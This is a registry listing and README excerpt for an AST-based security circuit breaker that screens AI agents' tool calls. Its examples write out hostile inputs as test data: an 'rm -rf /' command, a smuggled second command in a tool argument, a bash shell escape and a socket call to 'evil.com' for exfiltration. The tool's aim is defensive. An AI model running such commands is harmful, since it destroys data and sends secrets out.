English Français العربية

AW-1 Sovereign Circuit Breaker

Official registry Security

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

Source code Website Documentation

Install

Add this to your client's MCP configuration (Claude Desktop: claude_desktop_config.json; Cursor: .cursor/mcp.json; VS Code and others use the same "mcpServers" shape).

Remote (sse)
Claude Code 
claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'
JSON configuration (Claude Desktop, Cursor, VS Code) 
{
    "mcpServers": {
        "aw-1-sovereign-circuit-breaker": {
            "type": "sse",
            "url": "https://p20.laveto.net/wisdom/mcp/sse"
        }
    }
}

Documentation

From the project's README on GitHub, refreshed weekly. Links open on GitHub.

Contents
  1. AW-1 Circuit Breaker
  2. ⚡ 10-Second Test Drive (Zero-Install)
  3. AW-1 Circuit Breaker
  4. Installation
  5. Running the Server
  6. MCP Client Configuration
  7. Exploit Interception in Action
  8. Runtime Latency Telemetry
  9. Framework Integration (LangGraph Example)
  10. License

AW-1 Circuit Breaker

[]()

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

pip install -r requirements.txt

Running the Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix
Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filtersTripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system taskTripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetchTripped (UNAUTHORIZED_MODULE_IMPORT)
Run the Showcase
python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

Frequently asked questions

What is AW-1 Sovereign Circuit Breaker?

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

How do I install AW-1 Sovereign Circuit Breaker?

It runs as a remote server. In Claude Code: claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'. For other clients, paste the JSON configuration from this page into their MCP settings.

Does AW-1 Sovereign Circuit Breaker need an API key?

Its registry entry lists no required key or secret. Some features may still need an account with the service it connects to.

Is AW-1 Sovereign Circuit Breaker open source?

Yes. Its code is on GitHub under the Apache-2.0 license.

Who maintains AW-1 Sovereign Circuit Breaker?

It is published by MvikManners. AI.tn lists it but does not maintain or endorse it.

From the official MCP Registry. Listing is not an endorsement: review a server's code and permissions before giving it access to your data.